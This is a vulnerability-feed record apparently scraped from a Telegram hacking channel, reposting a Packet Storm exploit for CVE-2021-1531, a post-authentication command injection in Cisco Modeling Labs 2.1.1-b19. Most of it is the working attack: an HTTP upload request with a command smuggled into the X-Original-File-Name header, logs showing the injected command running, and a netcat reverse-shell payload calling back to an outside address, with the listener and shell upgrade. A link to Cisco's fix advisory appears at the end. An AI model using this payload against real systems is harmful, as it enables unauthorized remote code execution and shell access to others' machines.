{"uuid": "67ecd0bd-4da3-4753-9260-cb8fa6af384d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1531", "type": "seen", "source": "https://t.me/hacking_Attack/13978", "content": "Exploit Collector\nCisco Modeling Labs 2.1.1-b19 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png \nCisco Modeling Labs version 2.1.1-b19 remote command execution exploit.\n\nMD5 | a1d30ba3be5b867dccae401fb8872c58\n\nDownload\nCisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability\n\nCVE-2021-1531\n\n=======\nDetails\n=======\n\nAuthenticated command injection in the web portal via the X-Original-File-Name header.\n\nTested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.\n\n=====\nRepro\n=====\n\n-------\nRequest\n-------\n\nPOST /api/v0/images/upload HTTP/1.1\nHost: 10.10.10.118\nX-Original-File-Name: test.rpm';id>/tmp/123'\nAuthorization: Bearer [jwt token]\nContent-Length: 0\n\n--------\nResponse\n--------\n\nHTTP/1.1 200 OK\nServer: nginx/1.14.1\n...\n\n\"Success\"\n\n----------------\nLocal monitoring\n----------------\n\npid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move '/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]\n\n.....\n\npid=5555 executed [id ]\n\n$ cat /tmp/123\nuid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt) context=system_u:system_r:unconfined_service_t:s0\n\n============\nExploitation\n============\n\nThe netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2 user easy for demo.\n\n-------\nPayload\n-------\n\nX-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'\n\n--------\nListener\n--------\n\n$ nc -l -p 5000\n.....\n*connection received from cml2*\n\n/usr/libexec/platform-python -c 'import pty; pty.spawn(\"/bin/bash\")'\n\n*** VIRL2 network simulator monitor ***\n\nCLI> uname -a\nLinux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n\nCLI> pwd\n/var/local/virl2\n\n===\nFix\n===\n\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:34.894521Z"}